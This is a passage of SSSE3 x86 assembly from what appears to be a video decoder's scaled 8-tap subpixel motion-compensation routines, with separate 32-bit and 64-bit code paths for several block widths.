add srcq, ssq
jmp .w4_loop
.w4_skip_line:
%if ARCH_X86_32
mova m0, [esp+0x1c0]
mova m1, [esp+0x1d0]
mova m2, [esp+0x1e0]
%endif
movu m5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova m6, [rsp+0x10]
mova m7, [rsp+0x20]
pshufb m4, m14
pshufb m5, m14
pmaddubsw m4, m15
pmaddubsw m5, m15
phaddw m4, m5
pmulhrsw m4, m12
punpcklwd m5, m11, m4
mova [rsp+0x00], m6
mova [rsp+0x10], m7
mova [rsp+0x20], m5
%if ARCH_X86_64
psrldq m11, m4, 8
mova m0, m1
mova m1, m2
mova m2, m3
punpcklwd m3, m4, m11
%else
psrldq m6, m4, 8
punpcklwd m3, m4, m6
mova [esp+0x1a0], m6
mova [esp+0x1b0], m0
mova [esp+0x1c0], m1
mova [esp+0x1d0], m2
mova [esp+0x1e0], m3
%endif
jmp .w4_loop
INIT_XMM ssse3
.w8:
mov dword [rsp+0x90], 1
movifprep tmp_stridem, 16
jmp .w_start
.w16:
mov dword [rsp+0x90], 2
movifprep tmp_stridem, 32
jmp .w_start
.w32:
mov dword [rsp+0x90], 4
movifprep tmp_stridem, 64
jmp .w_start
.w64:
mov dword [rsp+0x90], 8
movifprep tmp_stridem, 128
jmp .w_start
.w128:
mov dword [rsp+0x90], 16
movifprep tmp_stridem, 256
.w_start:
%ifidn %1, put
movifnidn dsm, dsq
%endif
%if ARCH_X86_64
shr t0d, 16
movd m15, t0d
%else
%define m8 m0
%xdefine m14 m4
%define m15 m3
%if isprep
%define ssq ssm
%endif
mov r4, [esp+0x1f0]
shr r4, 16
movd m15, r4
mov r0, r0m
mov myd, mym
%endif
sub srcq, 3
pslld m7, m8, 2 ; dx*4
pmaddwd m8, [base+rescale_mul] ; dx*[0-3]
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
mova [rsp+0x100], m7
mova [rsp+0x120], m15
mov [rsp+0x098], srcq
mov [rsp+0x130], r0q ; dstq / tmpq
%if ARCH_X86_64 && UNIX64
mov hm, hd
%elif ARCH_X86_32
mov r5, hm
mov [esp+0x094], myd
mov [esp+0x134], r5
%endif
jmp .hloop
.hloop_prep:
dec dword [rsp+0x090]
jz .ret
%if ARCH_X86_64
add qword [rsp+0x130], 8*(isprep+1)
mov hd, hm
%else
add dword [esp+0x130], 8*(isprep+1)
mov myd, [esp+0x094]
mov r5, [esp+0x134]
mov r0, [esp+0x130]
%endif
mova m7, [rsp+0x100]
mova m14, [rsp+0x110]
%if ARCH_X86_64
mova m10, [base+pd_0x3ff]
%endif
mova m15, [rsp+0x120]
pxor m9, m9
mov srcq, [rsp+0x098]
%if ARCH_X86_64
mov r0q, [rsp+0x130] ; dstq / tmpq
%else
mov mym, myd
mov hm, r5
mov r0m, r0
mov r3, r3m
%endif
paddd m14, m7
.hloop:
%if ARCH_X86_64
mova m11, [base+pq_0x40000000]
%else
%define m11 [base+pq_0x40000000]
%endif
psrld m2, m14, 10
mova [rsp], m2
pand m6, m14, m10
psrld m6, 6
paddd m5, m15, m6
pcmpeqd m6, m9
psrldq m2, m5, 8
%if ARCH_X86_64
movd r4d, m5
movd r6d, m2
psrldq m5, 4
psrldq m2, 4
movd r7d, m5
movd r9d, m2
movq m0, [base+subpel_filters+r4*8]
movq m1, [base+subpel_filters+r6*8]
movhps m0, [base+subpel_filters+r7*8]
movhps m1, [base+subpel_filters+r9*8]
%else
movd r0, m5
movd rX, m2
psrldq m5, 4
psrldq m2, 4
movd r4, m5
movd r5, m2
movq m0, [base+subpel_filters+r0*8]
movq m1, [base+subpel_filters+rX*8]
movhps m0, [base+subpel_filters+r4*8]
movhps m1, [base+subpel_filters+r5*8]
pxor m2, m2
%define m9 m2
%endif
paddd m14, m7 ; mx+dx*[4-7]
pand m5, m14, m10
psrld m5, 6
paddd m15, m5
pcmpeqd m5, m9
mova [rsp+0x110], m14
psrldq m4, m15, 8
%if ARCH_X86_64
movd r10d, m15
movd r11d, m4
psrldq m15, 4
psrldq m4, 4
movd r13d, m15
movd rXd, m4
movq m2, [base+subpel_filters+r10*8]
movq m3, [base+subpel_filters+r11*8]
movhps m2, [base+subpel_filters+r13*8]
movhps m3, [base+subpel_filters+ rX*8]
psrld m14, 10
psrldq m4, m14, 8
movd r10d, m14
movd r11d, m4
psrldq m14, 4
psrldq m4, 4
movd r13d, m14
movd rXd, m4
mov r4d, [rsp+ 0]
mov r6d, [rsp+ 8]
mov r7d, [rsp+ 4]
mov r9d, [rsp+12]
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m14, m5, q1100
pshufd m5, m5, q3322
pand m7, m11, m4
pand m8, m11, m6
pand m15, m11, m14
pand m11, m11, m5
pandn m4, m0
pandn m6, m1
pandn m14, m2
pandn m5, m3
por m7, m4
por m8, m6
por m15, m14
por m11, m5
mova [rsp+0x10], m7
mova [rsp+0x20], m8
mova [rsp+0x30], m15
mova [rsp+0x40], m11
MC_8TAP_SCALED_H 1, 2, 3, 4, 5, 6, 9, 10, 7, 8, 15, 11 ; 0-1
mova [rsp+0x50], m1
mova [rsp+0x60], m2
MC_8TAP_SCALED_H 3, 4, 5, 6, 1, 2, 9, 10, 7, 8, 15, 11 ; 2-3
mova [rsp+0x70], m3
mova [rsp+0x80], m4
MC_8TAP_SCALED_H 5, 6, 1, 2, 3, 4, 9, 10, 7, 8, 15, 11 ; 4-5
MC_8TAP_SCALED_H 0,14, 1, 2, 3, 4, 9, 10, 7, 8, 15, 11 ; 6-7
SWAP m7, m0
SWAP m8, m14
mova m1, [rsp+0x50]
mova m2, [rsp+0x60]
mova m3, [rsp+0x70]
mova m9, [rsp+0x80]
mov myd, mym
mov dyd, dym
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m8 ; 67a
punpckhwd m7, m8 ; 67b
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m9 ; 23a
punpckhwd m3, m9 ; 23b
mova [rsp+0x50], m4
mova [rsp+0x60], m5
mova [rsp+0x70], m6
mova [rsp+0x80], m7
SWAP m14, m8
.vloop:
and myd, 0x3ff
mov r6d, 64 << 24
mov r4d, myd
shr r4d, 6
lea r4d, [t1+r4]
cmovnz r6q, [base+subpel_filters+r4*8]
movq m11, r6q
punpcklbw m11, m11
psraw m11, 8
pshufd m5, m11, q0000
pshufd m7, m11, q1111
pshufd m10, m11, q2222
pshufd m11, m11, q3333
pmaddwd m4, m5, m0
pmaddwd m5, m5, m1
pmaddwd m6, m7, m2
pmaddwd m7, m7, m3
paddd m4, m13
paddd m5, m13
paddd m4, m6
paddd m5, m7
pmaddwd m6, [rsp+0x50], m10
pmaddwd m7, [rsp+0x60], m10
pmaddwd m8, [rsp+0x70], m11
pmaddwd m9, [rsp+0x80], m11
paddd m4, m6
paddd m5, m7
paddd m4, m8
paddd m5, m9
%else
movd r0, m15
movd rX, m4
psrldq m15, 4
psrldq m4, 4
movd r4, m15
movd r5, m4
mova m14, [esp+0x110]
movq m2, [base+subpel_filters+r0*8]
movq m3, [base+subpel_filters+rX*8]
movhps m2, [base+subpel_filters+r4*8]
movhps m3, [base+subpel_filters+r5*8]
psrld m14, 10
mova [esp+16], m14
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
pshufd m4, m6, q1100
pshufd m6, m6, q3322
pshufd m7, m5, q1100
pshufd m5, m5, q3322
pand m0, m11, m4
pand m1, m11, m6
pand m2, m11, m7
pand m3, m11, m5
pandn m4, [esp+0x20]
pandn m6, [esp+0x30]
pandn m7, [esp+0x40]
pandn m5, [esp+0x50]
por m0, m4
por m1, m6
por m2, m7
por m3, m5
mova [esp+0x20], m0
mova [esp+0x30], m1
mova [esp+0x40], m2
mova [esp+0x50], m3
MC_8TAP_SCALED_H 0x20, 0x140, 0 ; 0-1
MC_8TAP_SCALED_H 0x20, 0x160 ; 2-3
MC_8TAP_SCALED_H 0x20, 0x180 ; 4-5
MC_8TAP_SCALED_H 0x20, 0x1a0 ; 6-7
mova m5, [esp+0x180]
mova m6, [esp+0x190]
mova m7, [esp+0x1a0]
mova m0, [esp+0x1b0]
mov myd, mym
punpcklwd m4, m5, m6 ; 45a
punpckhwd m5, m6 ; 45b
punpcklwd m6, m7, m0 ; 67a
punpckhwd m7, m0 ; 67b
mova [esp+0x180], m4
mova [esp+0x190], m5
mova [esp+0x1a0], m6
mova [esp+0x1b0], m7
mova m1, [esp+0x140]
mova m2, [esp+0x150]
mova m3, [esp+0x160]
mova m4, [esp+0x170]
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m4 ; 23a
punpckhwd m3, m4 ; 23b
mova [esp+0x140], m0
mova [esp+0x150], m1
mova [esp+0x160], m2
mova [esp+0x170], m3
.vloop:
mov r0, r0m
mov r5, [esp+0x1f4]
%ifidn %1, put
mov dsd, dsm
%endif
and myd, 0x3ff
mov mym, myd
xor r3, r3
shr r4, 6
lea r5, [r5+r4]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r5*8+0]
cmovnz r3, [base+subpel_filters+r5*8+4]
movd m7, r4
movd m6, r3
punpckldq m7, m6
punpcklbw m7, m7
psraw m7, 8
pshufd m4, m7, q0000
pshufd m5, m7, q1111
pmaddwd m0, m4
pmaddwd m1, m4
pmaddwd m2, m5
pmaddwd m3, m5
pshufd m6, m7, q2222
pshufd m7, m7, q3333
paddd m0, m2
paddd m1, m3
pmaddwd m2, [esp+0x180], m6
pmaddwd m3, [esp+0x190], m6
pmaddwd m4, [esp+0x1a0], m7
pmaddwd m5, [esp+0x1b0], m7
paddd m0, m2
paddd m1, m3
paddd m0, m13
paddd m1, m13
paddd m4, m0
paddd m5, m1
%endif
psrad m4, rndshift
psrad m5, rndshift
packssdw m4, m5
%ifidn %1, put
packuswb m4, m4
movq [dstq], m4
add dstq, dsq
%else
mova [tmpq], m4
add tmpq, tmp_stridem
%endif
%if ARCH_X86_32
mov r0m, r0
%endif
dec hd
jz .hloop_prep
%if ARCH_X86_64
add myd, dyd
test myd, ~0x3ff
jz .vloop
test myd, 0x400
mov [rsp+0x140], myd
mov r4d, [rsp+ 0]
mov r6d, [rsp+ 8]
mov r7d, [rsp+ 4]
mov r9d, [rsp+12]
jz .skip_line
mova m14, [base+unpckw]
movq m6, [srcq+r10]
movq m7, [srcq+r11]
movhps m6, [srcq+r13]
movhps m7, [srcq+ rX]
movq m4, [srcq+ r4]
movq m5, [srcq+ r6]
movhps m4, [srcq+ r7]
movhps m5, [srcq+ r9]
add srcq, ssq
mov myd, [rsp+0x140]
mov dyd, dym
pshufd m9, m14, q1032
pshufb m0, m14 ; 0a 1a
pshufb m1, m14 ; 0b 1b
pshufb m2, m9 ; 3a 2a
pshufb m3, m9 ; 3b 2b
pmaddubsw m6, [rsp+0x30]
pmaddubsw m7, [rsp+0x40]
pmaddubsw m4, [rsp+0x10]
pmaddubsw m5, [rsp+0x20]
phaddw m6, m7
phaddw m4, m5
phaddw m4, m6
pmulhrsw m4, m12
pshufb m5, [rsp+0x50], m14 ; 4a 5a
pshufb m6, [rsp+0x60], m14 ; 4b 5b
pshufb m7, [rsp+0x70], m9 ; 7a 6a
pshufb m8, [rsp+0x80], m9 ; 7b 6b
punpckhwd m0, m2 ; 12a
punpckhwd m1, m3 ; 12b
punpcklwd m2, m5 ; 34a
punpcklwd m3, m6 ; 34b
punpckhwd m5, m7 ; 56a
punpckhwd m6, m8 ; 56b
punpcklwd m7, m4 ; 78a
punpckhqdq m4, m4
punpcklwd m8, m4 ; 78b
mova [rsp+0x50], m5
mova [rsp+0x60], m6
mova [rsp+0x70], m7
mova [rsp+0x80], m8
jmp .vloop
.skip_line:
mova m0, [rsp+0x10]
mova m1, [rsp+0x20]
mova m14, [rsp+0x30]
mova m15, [rsp+0x40]
MC_8TAP_SCALED_H 4, 8, 5, 6, 7, 9, 10, 11, 0, 1, 14, 15
mov myd, [rsp+0x140]
mov dyd, dym
mova m0, m2 ; 01a
mova m1, m3 ; 01b
mova m2, [rsp+0x50] ; 23a
mova m3, [rsp+0x60] ; 23b
mova m5, [rsp+0x70] ; 45a
mova m6, [rsp+0x80] ; 45b
punpcklwd m7, m4, m8 ; 67a
punpckhwd m4, m8 ; 67b
mova [rsp+0x50], m5
mova [rsp+0x60], m6
mova [rsp+0x70], m7
mova [rsp+0x80], m4
%else
mov myd, mym
mov r3, r3m
add myd, dym
test myd, ~0x3ff
mov mym, myd
jnz .next_line
mova m0, [esp+0x140]
mova m1, [esp+0x150]
mova m2, [esp+0x160]
mova m3, [esp+0x170]
jmp .vloop
.next_line:
test myd, 0x400
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
jz .skip_line
mova m6, [base+unpckw]
mova m0, [esp+0x140]
mova m1, [esp+0x150]
mova m7, [esp+0x180]
movq m4, [srcq+r0]
movq m5, [srcq+rX]
movhps m4, [srcq+r4]
movhps m5, [srcq+r5]
pshufb m0, m6 ; 0a 1a
pshufb m1, m6 ; 0b 1b
pshufb m7, m6 ; 4a 5a
mov r0, [esp+16]
mov rX, [esp+24]
mov r4, [esp+20]
mov r5, [esp+28]
movq m3, [srcq+r0]
movq m2, [srcq+rX]
movhps m3, [srcq+r4]
movhps m2, [srcq+r5]
add srcq, ssq
pmaddubsw m4, [esp+0x20]
pmaddubsw m5, [esp+0x30]
pmaddubsw m3, [esp+0x40]
pmaddubsw m2, [esp+0x50]
phaddw m4, m5
phaddw m3, m2
mova m5, [esp+0x190]
mova m2, [esp+0x160]
phaddw m4, m3
mova m3, [esp+0x170]
pmulhrsw m4, m12 ; 8a 8b
mov myd, mym
pshufb m5, m6 ; 4b 5b
pshufd m6, m6, q1032
pshufb m2, m6 ; 3a 2a
pshufb m3, m6 ; 3b 2b
punpckhwd m0, m2 ; 12a
punpckhwd m1, m3 ; 12b
mova [esp+0x140], m0
mova [esp+0x150], m1
mova m0, [esp+0x1a0]
mova m1, [esp+0x1b0]
punpcklwd m2, m7 ; 34a
punpcklwd m3, m5 ; 34b
mova [esp+0x160], m2
mova [esp+0x170], m3
pshufb m0, m6 ; 7a 6a
pshufb m1, m6 ; 7b 6b
punpckhwd m7, m0 ; 56a
punpckhwd m5, m1 ; 56b
punpcklwd m0, m4
punpckhqdq m4, m4
punpcklwd m1, m4
mova [esp+0x180], m7
mova [esp+0x190], m5
mova [esp+0x1a0], m0
mova [esp+0x1b0], m1
mova m0, [esp+0x140]
mova m1, [esp+0x150]
jmp .vloop
.skip_line:
MC_8TAP_SCALED_H 0x20, 0x1c0, 0
mov myd, mym
mova m0, [esp+0x160]
mova m1, [esp+0x170]
mova m2, [esp+0x180]
mova m3, [esp+0x190]
mova [esp+0x140], m0
mova [esp+0x150], m1
mova m4, [esp+0x1a0]
mova m5, [esp+0x1b0]
mova [esp+0x160], m2
mova [esp+0x170], m3
mova m6, [esp+0x1c0]
mova m7, [esp+0x1d0]
mova [esp+0x180], m4
mova [esp+0x190], m5
punpcklwd m4, m6, m7
punpckhwd m6, m7
mova [esp+0x1a0], m4
mova [esp+0x1b0], m6
%endif
jmp .vloop
INIT_XMM ssse3
.dy1:
movzx wd, word [base+%1_8tap_scaled_ssse3_dy1_table+wq*2]
add wq, base_reg
jmp wq
%ifidn %1, put
.dy1_w2:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
%define m8 m0
%define m9 m1
%define m14 m4
%define m15 m3
movzx r5, byte [esp+0x1f0]
dec srcd
movd m15, r5
%endif
punpckldq m9, m8
SWAP m8, m9
paddd m14, m8 ; mx+dx*[0-1]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%else
%define m11 [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
pand m8, m14, m10
psrld m8, 6
paddd m15, m8
movd r4d, m15
psrldq m15, 4
%if ARCH_X86_64
movd r6d, m15
%else
movd r3d, m15
%endif
mova m5, [base+bdct_lb_dw]
mova m6, [base+subpel_s_shuf2]
movd m15, [base+subpel_filters+r4*8+2]
%if ARCH_X86_64
movd m7, [base+subpel_filters+r6*8+2]
%else
movd m7, [base+subpel_filters+r3*8+2]
%endif
pxor m9, m9
pcmpeqd m8, m9
psrld m14, 10
%if ARCH_X86_32
mov r3, r3m
pshufb m14, m5
paddb m14, m6
mova [esp+0x00], m14
%define m14 [esp+0x00]
SWAP m5, m0
SWAP m6, m3
%define m8 m5
%define m15 m6
%endif
movq m0, [srcq+ssq*0]
movq m2, [srcq+ssq*2]
movhps m0, [srcq+ssq*1]
movhps m2, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
%if ARCH_X86_64
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
pshufb m14, m5
paddb m14, m6
movq m10, r4
%else
mov myd, mym
mov r5, [esp+0x1f4]
xor r3, r3
shr myd, 6
lea r5, [r5+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r5*8+0]
cmovnz r3, [base+subpel_filters+r5*8+4]
%define m10 m4
movd m10, r4
movd m3, r3
mov r3, r3m
punpckldq m10, m3
%endif
movq m1, [srcq+ssq*0]
movq m3, [srcq+ssq*2]
movhps m1, [srcq+ssq*1]
add srcq, ss3q
punpcklbw m10, m10
psraw m10, 8
punpckldq m15, m7
punpcklqdq m15, m15
%if ARCH_X86_64
pand m11, m8
%else
pand m7, m11, m8
%define m11 m7
%endif
pandn m8, m15
SWAP m15, m8
por m15, m11
%if ARCH_X86_64
pshufd m8, m10, q0000
pshufd m9, m10, q1111
pshufd m11, m10, q3333
pshufd m10, m10, q2222
%else
mova [esp+0x10], m15
%define m15 [esp+0x10]
mov r0, r0m
pshufd m5, m4, q0000
pshufd m6, m4, q1111
pshufd m7, m4, q2222
pshufd m4, m4, q3333
%define m8 [esp+0x20]
%define m9 [esp+0x30]
%define m10 [esp+0x40]
%define m11 [esp+0x50]
mova m8, m5
mova m9, m6
mova m10, m7
mova m11, m4
%endif
pshufb m0, m14
pshufb m2, m14
pshufb m1, m14
pshufb m3, m14
pmaddubsw m0, m15
pmaddubsw m2, m15
pmaddubsw m1, m15
pmaddubsw m3, m15
phaddw m0, m2
phaddw m1, m3
pmulhrsw m0, m12
pmulhrsw m1, m12
palignr m2, m1, m0, 4
pshufd m4, m1, q2121
punpcklwd m3, m0, m2 ; 01 12
punpckhwd m0, m2 ; 23 34
punpcklwd m2, m1, m4 ; 45 56
.dy1_w2_loop:
movq m1, [srcq+ssq*0]
movhps m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pmaddwd m5, m3, m8
pmaddwd m6, m0, m9
pmaddwd m7, m2, m10
mova m3, m0
mova m0, m2
paddd m5, m13
paddd m6, m7
pshufb m1, m14
pmaddubsw m1, m15
phaddw m1, m1
pmulhrsw m1, m12
palignr m7, m1, m4, 12
punpcklwd m2, m7, m1 ; 67 78
pmaddwd m7, m2, m11
mova m4, m1
paddd m5, m6
paddd m5, m7
psrad m5, rndshift
packssdw m5, m5
packuswb m5, m5
movd r4d, m5
mov [dstq+dsq*0], r4w
shr r4d, 16
mov [dstq+dsq*1], r4w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .dy1_w2_loop
RET
%endif
INIT_XMM ssse3
.dy1_w4:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
%define m10 [base+pd_0x3ff]
%define m11 [base+pd_0x4000]
%define m8 m0
%xdefine m14 m4
%define m15 m3
%if isprep
%define ssq r3
%endif
movzx r4, byte [esp+0x1f0]
dec srcq
movd m15, r4
%endif
pmaddwd m8, [base+rescale_mul]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
pand m8, m14, m10
psrld m8, 6
paddd m15, m8
psrldq m7, m15, 8
%if ARCH_X86_64
movd r4d, m15
movd r11d, m7
psrldq m15, 4
psrldq m7, 4
movd r6d, m15
movd r13d, m7
movd m15, [base+subpel_filters+ r4*8+2]
movd m2, [base+subpel_filters+r11*8+2]
movd m3, [base+subpel_filters+ r6*8+2]
movd m4, [base+subpel_filters+r13*8+2]
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
%else
movd r1, m15
movd r3, m7
psrldq m15, 4
psrldq m7, 4
movd r4, m15
movd r5, m7
%define m15 m5
SWAP m4, m7
movd m15, [base+subpel_filters+r1*8+2]
movd m2, [base+subpel_filters+r3*8+2]
movd m3, [base+subpel_filters+r4*8+2]
movd m4, [base+subpel_filters+r5*8+2]
mov myd, mym
mov rX, [esp+0x1f4]
xor r5, r5
shr myd, 6
lea rX, [rX+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+rX*8+0]
cmovnz r5, [base+subpel_filters+rX*8+4]
mov r3, r3m
%if isprep
lea ss3q, [ssq*3]
%endif
%endif
punpckldq m15, m3
punpckldq m2, m4
punpcklqdq m15, m2
movq m6, [base+subpel_s_shuf2]
%if ARCH_X86_64
pcmpeqd m8, m9
psrld m14, 10
pshufb m14, [base+bdct_lb_dw]
movu m0, [srcq+ssq*0]
movu m1, [srcq+ssq*1]
movu m2, [srcq+ssq*2]
movu m3, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
punpcklqdq m6, m6
movu m4, [srcq+ssq*0]
movu m5, [srcq+ssq*1]
movu m7, [srcq+ssq*2]
add srcq, ss3q
pand m11, m8
pandn m8, m15
SWAP m15, m8
por m15, m11
paddb m14, m6
movq m10, r4q
punpcklbw m10, m10
psraw m10, 8
pshufb m0, m14
pshufb m1, m14
pshufb m2, m14
pshufb m3, m14
pshufb m4, m14
pshufb m5, m14
pshufb m7, m14
pmaddubsw m0, m15
pmaddubsw m1, m15
pmaddubsw m2, m15
pmaddubsw m3, m15
pmaddubsw m4, m15
pmaddubsw m5, m15
pmaddubsw m7, m15
phaddw m0, m1
phaddw m2, m3
phaddw m4, m5
phaddw m6, m7, m7
pmulhrsw m0, m12 ; 0 1
pmulhrsw m2, m12 ; 2 3
pmulhrsw m4, m12 ; 4 5
pmulhrsw m6, m12 ; 6 _
shufps m1, m0, m2, q1032 ; 1 2
shufps m3, m2, m4, q1032 ; 3 4
shufps m5, m4, m6, q1032 ; 5 6
punpcklwd m7, m0, m1 ; 01
punpckhwd m0, m1 ; 12
punpcklwd m8, m2, m3 ; 23
punpckhwd m2, m3 ; 34
punpcklwd m9, m4, m5 ; 45
punpckhwd m4, m5 ; 56
%else
pxor m3, m3
pcmpeqd m8, m3
psrld m14, 10
pshufb m14, [base+bdct_lb_dw]
movu m1, [srcq+ssq*0]
movu m2, [srcq+ssq*1]
movu m3, [srcq+ssq*2]
lea srcq, [srcq+ss3q ]
punpcklqdq m6, m6
SWAP m4, m7
pand m7, m11, m8
pandn m8, m15
SWAP m5, m0
por m15, m7
paddb m14, m6
movu m0, [srcq+ssq*0]
movu m7, [srcq+ssq*1]
movu m6, [srcq+ssq*2]
pshufb m1, m14
pshufb m2, m14
pshufb m3, m14
pshufb m0, m14
pshufb m7, m14
pshufb m6, m14
pmaddubsw m1, m15
pmaddubsw m2, m15
pmaddubsw m3, m15
mova [esp+0x00], m14
mova [esp+0x10], m15
pmaddubsw m0, m15
pmaddubsw m7, m15
pmaddubsw m6, m15
phaddw m1, m2
movu m2, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
mov r0, r0m
phaddw m3, m0
pshufb m2, m14
pmaddubsw m2, m15
%define m14 [esp+0x00]
%define m15 [esp+0x10]
phaddw m7, m6
phaddw m2, m2
movd m6, r4
movd m0, r5
punpckldq m6, m0
punpcklbw m6, m6
psraw m6, 8
mova [esp+0x20], m6
pmulhrsw m1, m12 ; 0 1
pmulhrsw m3, m12 ; 2 3
pmulhrsw m7, m12 ; 4 5
pmulhrsw m2, m12 ; 6 _
shufps m0, m1, m3, q1032 ; 1 2
shufps m4, m3, m7, q1032 ; 3 4
shufps m5, m7, m2, q1032 ; 5 6
punpcklwd m6, m1, m0 ; 01
punpckhwd m1, m0 ; 12
mova [esp+0x30], m1
punpcklwd m1, m3, m4 ; 23
punpckhwd m3, m4 ; 34
mova [esp+0x40], m3
punpcklwd m3, m7, m5 ; 45
punpckhwd m7, m5 ; 56
mova [esp+0x50], m7
mova [esp+0x60], m2
mova m0, [esp+0x20]
%xdefine m8 m1
%xdefine m9 m3
%xdefine m10 m0
SWAP m7, m6
SWAP m1, m4
SWAP m3, m2
%endif
pshufd m1, m10, q0000
pshufd m3, m10, q1111
pshufd m5, m10, q2222
pshufd m10, m10, q3333
%if ARCH_X86_64
mova [rsp+0x00], m8
mova [rsp+0x10], m2
mova [rsp+0x20], m9
mova [rsp+0x30], m4
%else
mova [esp+0x70], m8
mova [esp+0x80], m9
mova [esp+0x90], m1
mova [esp+0xa0], m3
mova [esp+0xb0], m5
mova [esp+0xc0], m10
%ifidn %1, put
mov dsd, dsm
%endif
%define m11 m6
%endif
.dy1_w4_loop:
%if ARCH_X86_64
movu m11, [srcq+ssq*0]
pmaddwd m7, m1
pmaddwd m8, m3
pmaddwd m0, m1
pmaddwd m2, m3
pmaddwd m9, m5
pmaddwd m4, m5
paddd m7, m8
paddd m0, m2
movu m8, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m11, m14
pmaddubsw m11, m15
paddd m7, m13
paddd m0, m13
paddd m7, m9
paddd m0, m4
pshufb m8, m14
pmaddubsw m8, m15
phaddw m11, m8
mova m8, [rsp+0x20]
pmulhrsw m11, m12
punpcklwd m9, m6, m11 ; 67
psrldq m6, m11, 8
punpcklwd m4, m11, m6 ; 78
pmaddwd m2, m9, m10
pmaddwd m11, m4, m10
paddd m7, m2
mova m2, [rsp+0x30]
paddd m0, m11
%else
SWAP m7, m6
SWAP m1, m4
SWAP m3, m2
movu m5, [srcq+ssq*0]
mova m0, [esp+0x30]
mova m2, [esp+0x40]
mova m4, [esp+0x50]
pmaddwd m6, [esp+0x90]
pmaddwd m1, [esp+0xa0]
pmaddwd m0, [esp+0x90]
pmaddwd m2, [esp+0xa0]
pmaddwd m3, [esp+0xb0]
pmaddwd m4, [esp+0xb0]
paddd m6, m1
paddd m0, m2
movu m7, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m5, m14
pmaddubsw m5, m15
paddd m6, m13
paddd m0, m13
paddd m6, m3
paddd m0, m4
pshufb m7, m14
pmaddubsw m7, m15
phaddw m5, m7
mova m7, [rsp+0x80]
pmulhrsw m5, m12
punpcklwd m3, [esp+0x60], m5 ; 67
psrldq m1, m5, 8
punpcklwd m4, m5, m1 ; 78
pmaddwd m2, m3, [esp+0xc0]
pmaddwd m5, m4, [esp+0xc0]
mova [esp+0x60], m1
paddd m6, m2
mova m2, [esp+0x50]
paddd m0, m5
SWAP m7, m6
%endif
psrad m7, rndshift
psrad m0, rndshift
packssdw m7, m0
%if ARCH_X86_64
mova m0, [rsp+0x10]
%else
mova m0, [esp+0x40]
%define m11 m5
%endif
%ifidn %1, put
packuswb m7, m7
psrldq m11, m7, 4
movd [dstq+dsq*0], m7
movd [dstq+dsq*1], m11
lea dstq, [dstq+dsq*2]
%else
mova [tmpq], m7
add tmpq, 16
%endif
sub hd, 2
jz .ret
%if ARCH_X86_64
mova m7, [rsp+0x00]
mova [rsp+0x00], m8
mova [rsp+0x10], m2
mova [rsp+0x20], m9
mova [rsp+0x30], m4
%else
mova m7, [esp+0x70] ; 01
mova m1, [esp+0x80] ; 23
mova m2, [esp+0x50] ; 34
mova [esp+0x30], m0
mova [esp+0x70], m1
mova [esp+0x40], m2
mova [esp+0x80], m3
mova [esp+0x50], m4
%endif
jmp .dy1_w4_loop
INIT_XMM ssse3
.dy1_w8:
mov dword [rsp+0x90], 1
movifprep tmp_stridem, 16
jmp .dy1_w_start
.dy1_w16:
mov dword [rsp+0x90], 2
movifprep tmp_stridem, 32
jmp .dy1_w_start
.dy1_w32:
mov dword [rsp+0x90], 4
movifprep tmp_stridem, 64
jmp .dy1_w_start
.dy1_w64:
mov dword [rsp+0x90], 8
movifprep tmp_stridem, 128
jmp .dy1_w_start
.dy1_w128:
mov dword [rsp+0x90], 16
movifprep tmp_stridem, 256
.dy1_w_start:
mov myd, mym
%ifidn %1, put
movifnidn dsm, dsq
%endif
%if ARCH_X86_64
shr t0d, 16
sub srcq, 3
shr myd, 6
mov r4d, 64 << 24
lea myd, [t1+myq]
cmovnz r4q, [base+subpel_filters+myq*8]
movd m15, t0d
%else
%define m8 m0
%define m9 m1
%xdefine m14 m4
%xdefine m15 m3
%if isprep
%define ssq ssm
%endif
mov r5, [esp+0x1f0]
mov r3, [esp+0x1f4]
shr r5, 16
sub srcq, 3
movd m15, r5
xor r5, r5
shr myd, 6
lea r3, [r3+myd]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r3*8+0]
cmovnz r5, [base+subpel_filters+r3*8+4]
mov r0, r0m
mov r3, r3m
%endif
pslld m7, m8, 2 ; dx*4
pmaddwd m8, [base+rescale_mul] ; dx*[0-3]
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
%if ARCH_X86_64
movq m3, r4q
punpcklbw m3, m3
psraw m3, 8
%else
movd m5, r4
movd m6, r5
punpckldq m5, m6
punpcklbw m5, m5
psraw m5, 8
SWAP m3, m5
%endif
mova [rsp+0x100], m7
mova [rsp+0x120], m15
mov [rsp+0x098], srcq
